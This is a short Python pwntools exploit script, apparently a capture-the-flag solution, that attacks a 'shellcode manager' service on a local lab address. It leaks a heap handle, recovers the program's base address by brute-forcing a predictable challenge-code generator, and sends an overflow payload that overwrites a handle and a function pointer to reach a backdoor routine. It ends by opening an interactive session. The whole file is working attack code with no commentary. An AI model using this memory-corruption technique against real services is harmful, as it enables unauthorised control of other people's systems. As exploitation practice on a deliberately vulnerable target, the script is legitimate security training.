from pwn import *
context.log_level = 'debug'

p = remote('192.168.1.10','10000')

#pause()

def gen_cha_code(base):
    init_scmgr = base*0x10000 +0x1090
    value = init_scmgr

    g_table = [value]

    for i in range(31):
        value = (value * 69069)&0xffffffff
        g_table.append(value)

    g_index = 0

    v0 = (g_index-1)&0x1f
    v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)
    v1 = g_table[v0]
    v3 = g_table[(g_index + 10) & 0x1F]
    v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
    v4 = v4&0xffffffff
    g_table[g_index] = v2^v4
    g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff
    g_index = (g_index - 1) & 0x1F

    return g_table[g_index]

#0x72bb1090 C49A90E7
#print(hex(gen_cha_code(0x72bb)))
#exit(0)

p.sendlineafter('leave your name','aaaa'*20)
p.recvuntil('aaaa'*20)
nextHandle = u32(p.recvn(4))

#setGuard
p.sendlineafter('Option:','5')
p.sendlineafter('Option:','1')
p.recvuntil('Your challenge code is ')
challengestr = str(p.recvline()[:-2])[2:-1].split('-')
challenge = [0,0,0,0,0,0]
for i in range(len(challengestr)):
    challenge[i] = int(challengestr[i],16)
p.sendline()

base = 1
for base in range(0x6000,0x8000):
    ret = gen_cha_code(base)
    if ret == challenge[5]:#challenge[0]:
        print(hex(base))
        print('founded challenge')
        break

backdoor = base * 0x10000 + 0x1100
payload = b'a'*(0x80-0xc-4) + p32(nextHandle) + p32(backdoor)
#create
p.sendlineafter('Option:','1')
p.sendlineafter('shellcode size:',str(0x80-0xc+4))
p.sendlineafter('shellcode name:','bb')
p.sendlineafter('shellcode description:','cc')
p.sendlineafter('shellcode:',payload)

#run
p.sendlineafter('Option:','4')
p.sendlineafter('shellcode index:','0')

p.interactive()
